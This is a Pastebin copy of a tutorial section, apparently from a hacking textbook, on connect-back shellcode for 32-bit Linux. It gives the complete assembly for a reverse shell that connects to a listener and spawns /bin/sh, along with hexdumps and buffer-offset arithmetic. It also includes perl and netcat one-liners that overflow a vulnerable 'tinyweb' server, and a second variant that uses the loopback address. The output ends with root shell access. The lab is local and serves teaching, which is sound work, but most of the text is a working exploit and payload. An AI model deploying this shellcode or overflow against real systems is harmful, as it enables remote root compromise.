Advertisement
hollerith

shellcode connectback

Apr 15th, 2020
776
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 1. Connect-Back Shellcode
  2.  
  3. 1.1. connectback_shell.s
  4.  
  5. Code View:
  6. BITS 32
  7.  
  8. ; s = socket(2, 1, 0)
  9. push BYTE 0x66 ; socketcall is syscall #102 (0x66).
  10. pop eax
  11. cdq ; Zero out edx for use as a null DWORD later.
  12. xor ebx, ebx ; ebx is the type of socketcall.
  13. inc ebx ; 1 = SYS_SOCKET = socket()
  14. push edx ; Build arg array: { protocol = 0,
  15. push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
  16. push BYTE 0x2 ; AF_INET = 2 }
  17. mov ecx, esp ; ecx = ptr to argument array
  18. int 0x80 ; After syscall, eax has socket file descriptor.
  19.  
  20. xchg esi, eax ; Save socket FD in esi for later.
  21.  
  22. ; connect(s, [2, 31337, ], 16)
  23. push BYTE 0x66 ; socketcall (syscall #102)
  24. pop eax
  25. inc ebx ; ebx = 2 (needed for AF_INET)
  26. push DWORD 0x482aa8c0 ; Build sockaddr struct: IP address = 192.168.42.72
  27. push WORD 0x697a ; (in reverse order) PORT = 31337
  28. push WORD bx ; AF_INET = 2
  29. mov ecx, esp ; ecx = server struct pointer
  30. push BYTE 16 ; argv: { sizeof(server struct) = 16,
  31. push ecx ; server struct pointer,
  32. push esi ; socket file descriptor }
  33. mov ecx, esp ; ecx = argument array
  34. inc ebx ; ebx = 3 = SYS_CONNECT = connect()
  35. int 0x80 ; eax = connected socket FD
  36.  
  37. ; dup2(connected socket, {all three standard I/O file descriptors})
  38. xchg eax, ebx ; Put socket FD in ebx and 0x00000003 in eax.
  39. push BYTE 0x2 ; ecx starts at 2.
  40. pop ecx
  41. dup_loop:
  42. mov BYTE al, 0x3F ; dup2 syscall #63
  43. int 0x80 ; dup2(c, 0)
  44. dec ecx ; Count down to 0.
  45. jns dup_loop ; If the sign flag is not set, ecx is not negative.
  46.  
  47. ; execve(const char *filename, char *const argv [], char *const envp[])
  48. mov BYTE al, 11 ; execve syscall #11.
  49. push edx ; push some nulls for string termination.
  50. push 0x68732f2f ; push "//sh" to the stack.
  51. push 0x6e69622f ; push "/bin" to the stack.
  52. mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.
  53. push edx ; push 32-bit null terminator to stack.
  54. mov edx, esp ; This is an empty array for envp.
  55. push ebx ; push string addr to stack above null terminator.
  56. mov ecx, esp ; This is the argv array with string ptr.
  57. int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
  58.  
  59.  
  60.  
  61. In the shellcode above, the connection IP address is set to 192.168.42.72, which should be the IP address of the attacking machine. This address is stored in the in_addr structure as 0x482aa8c0, which is the hexadecimal representation of 72, 42, 168, and 192. This is made clear when each number is displayed in hexadecimal:
  62.  
  63. reader@hacking:~/booksrc $ gdb -q
  64. (gdb) p /x 192
  65. $1 = 0xc0
  66. (gdb) p /x 168
  67. $2 = 0xa8
  68. (gdb) p /x 42
  69. $3 = 0x2a
  70. (gdb) p /x 72
  71. $4 = 0x48
  72. (gdb) p /x 31337
  73. $5 = 0x7a69
  74. (gdb)
  75.  
  76. Since these values are stored in network byte order but the x86 architecture is in little-endian order, the stored DWORD seems to be reversed. This means the DWORD for 192.168.42.72 is 0x482aa8c0. This also applies for the two-byte WORD used for the destination port. When the port number 31337 is printed in hexadecimal using gdb, the byte order is shown in little-endian order. This means the displayed bytes must be reversed, so WORD for 31337 is 0x697a.
  77.  
  78. The netcat program can also be used to listen for incoming connections with the -l command-line option. This is used in the output below to listen on port 31337 for the connect-back shellcode. The ifconfig command ensures the IP address of eth0 is 192.168.42.72 so the shellcode can connect back to it.
  79.  
  80. reader@hacking:~/booksrc $ sudo ifconfig eth0 192.168.42.72 up
  81. reader@hacking:~/booksrc $ ifconfig eth0
  82. eth0 Link encap:Ethernet HWaddr 00:01:6C:EB:1D:50
  83. inet addr:192.168.42.72 Bcast:192.168.42.255 Mask:255.255.255.0
  84. UP BROADCAST MULTICAST MTU:1500 Metric:1
  85. RX packets:0 errors:0 dropped:0 overruns:0 frame:0
  86. TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
  87. collisions:0 txqueuelen:1000
  88. RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
  89. Interrupt:16
  90.  
  91. reader@hacking:~/booksrc $ nc -v -l -p 31337
  92. listening on [any] 31337 ...
  93.  
  94. Now, let's try to exploit the tinyweb server program using the connectback shellcode. From working with this program before, we know that the request buffer is 500 bytes long and is located at 0xbffff5c0 in stack memory. We also know that the return address is found within 40 bytes of the end of the buffer.
  95.  
  96. Code View:
  97. reader@hacking:~/booksrc $ nasm connectback_shell.s
  98. reader@hacking:~/booksrc $ hexdump -C connectback_shell
  99. 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
  100. 00000010 96 6a 66 58 43 68 c0 a8 2a 48 66 68 7a 69 66 53 |.jfXCh..*HfhzifS|
  101. 00000020 89 e1 6a 10 51 56 89 e1 43 cd 80 87 f3 87 ce 49 |..j.QV..C......I|
  102. 00000030 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|
  103. 00000040 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin..R..S....|
  104. 0000004e
  105. reader@hacking:~/booksrc $ wc -c connectback_shell
  106. 78 connectback_shell
  107. reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 78 ))
  108. 402
  109. reader@hacking:~/booksrc $ gdb -q --batch -ex "p /x 0xbffff5c0 + 200"
  110. $1 = 0xbffff688
  111. reader@hacking:~/booksrc $
  112.  
  113.  
  114.  
  115. Since the offset from the beginning of the buffer to the return address is 540 bytes, a total of 544 bytes must be written to overwrite the four-byte return address. The return address overwrite also needs to be properly aligned, since the return address uses multiple bytes. To ensure proper alignment, the sumof the NOP sled and shellcode bytes must be divisible by four. In addition, the shellcode itself must stay within the first 500 bytes of the overwrite. These are the bounds of the response buffer, and the memory afterward corresponds to other values on the stack that might be written to before we change the program's control flow. Staying within these bounds avoids the risk of random overwrites to the shellcode, which inevitably lead to crashes. Repeating the return address 16 times will generate 64 bytes, which can be put at the end of the 544-byte exploit buffer and keeps the shellcode safely within the bounds of the buffer. The remaining bytes at the beginning of the exploit buffer will be the NOP sled. The calculations above show that a 402-byte NOP sled will properly align the 78-byte shellcode and place it safely within the bounds of the buffer. Repeating the desired return address 12 times spaces the final 4 bytes of the exploit buffer perfectly to overwrite the saved return address on the stack. Overwriting the return address with 0xbffff688 should return execution right to the middle of the NOP sled, while avoiding bytes near the beginning of the buffer, which might get mangled. These calculated values will be used in the following exploit, but first the connect-back shell needs some place to connect back to. In the output below, netcat is used to listen for incoming connections on port 31337.
  116.  
  117. reader@hacking:~/booksrc $ nc -v -l -p 31337
  118. listening on [any] 31337 ...
  119.  
  120. Now, in another terminal, the calculated exploit values can be used to exploit the tinyweb program remotely.
  121.  
  122. 1.2. From Another Terminal Window
  123.  
  124. reader@hacking:~/booksrc $ (perl -e 'print "\x90"x402';
  125. > cat connectback_shell;
  126. > perl -e 'print "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80
  127. localhost [127.0.0.1] 80 (www) open
  128.  
  129. Back in the original terminal, the shellcode has connected back to the netcat process listening on port 31337. This provides root shell access remotely.
  130.  
  131. reader@hacking:~/booksrc $ nc -v -l -p 31337
  132. listening on [any] 31337 ...
  133. connect to [192.168.42.72] from hacking.local [192.168.42.72] 34391
  134. whoami
  135. root
  136.  
  137. The network configuration for this example is slightly confusing because the attack is directed at 127.0.0.1 and the shellcode connects back to 192.168.42.72. Both of these IP addresses route to the same place, but 192.168.42.72 is easier to use in shellcode than 127.0.0.1. Since the loopback address contains two null bytes, the address must be built on the stack with multiple instructions. One way to do this is to write the two null bytes to the stack using a zeroed register. The file loopback_shell.s is a modified version of connectback_shell.s that uses the loopback address of 127.0.0.1. The differences are shown in the following output.
  138.  
  139. Code View:
  140. reader@hacking:~/booksrc $ diff connectback_shell.s loopback_shell.s
  141. 21c21,22
  142. < push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address = 192.168.42.72
  143. ---
  144. > push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1
  145. > mov WORD [esp+1], dx ; overwrite the BBBB with 0000 in the previous push
  146. reader@hacking:~/booksrc $
  147.  
  148.  
  149.  
  150. After pushing the value 0x01BBBB7f to the stack, the ESP register will point to the beginning of this DWORD. By writing a two-byte WORD of null bytes at ESP+1, the middle two bytes will be overwritten to form the correct return address.
  151.  
  152. This additional instruction increases the size of the shellcode by a few bytes, which means the NOP sled also needs to be adjusted for the exploit buffer. These calculations are shown in the output below, and they result in a 397-byte NOP sled. This exploit using the loopback shellcode assumes that the tinyweb program is running and that a netcat process is listening for incoming connections on port 31337.
  153.  
  154. Code View:
  155. reader@hacking:~/booksrc $ nasm loopback_shell.s
  156. reader@hacking:~/booksrc $ hexdump -C loopback_shell | grep --color=auto 00
  157. 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
  158. 00000010 96 6a 66 58 43 68 7f bb bb 01 66 89 54 24 01 66 |.jfXCh....f.T$.f|
  159. 00000020 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 43 cd 80 |hzifS..j.QV..C..|
  160. 00000030 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 0b 52 68 |....I.?..Iy...Rh|
  161. 00000040 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 53 89 |//shh/bin..R..S.|
  162. 00000050 e1 cd 80 |...|
  163. 00000053
  164. reader@hacking:~/booksrc $ wc -c loopback_shell
  165. 83 loopback_shell
  166. reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 83 ))
  167. 397
  168. reader@hacking:~/booksrc $ (perl -e 'print "\x90"x397';cat loopback_shell;perl -e 'print
  169. "\x88\
  170. xf6\xff\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80
  171. localhost [127.0.0.1] 80 (www) open
  172.  
  173.  
  174.  
  175. As with the previous exploit, the terminal with netcat listening on port 31337 will receive the rootshell.
  176.  
  177. reader@hacking:~ $ nc -vlp 31337
  178. listening on [any] 31337 ...
  179. connect to [127.0.0.1] from localhost [127.0.0.1] 42406
  180. whoami
  181. root
  182.  
  183. Read more at http://programming4.us/security/702.aspx#x0EAVOrEI8yUStDb.99
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement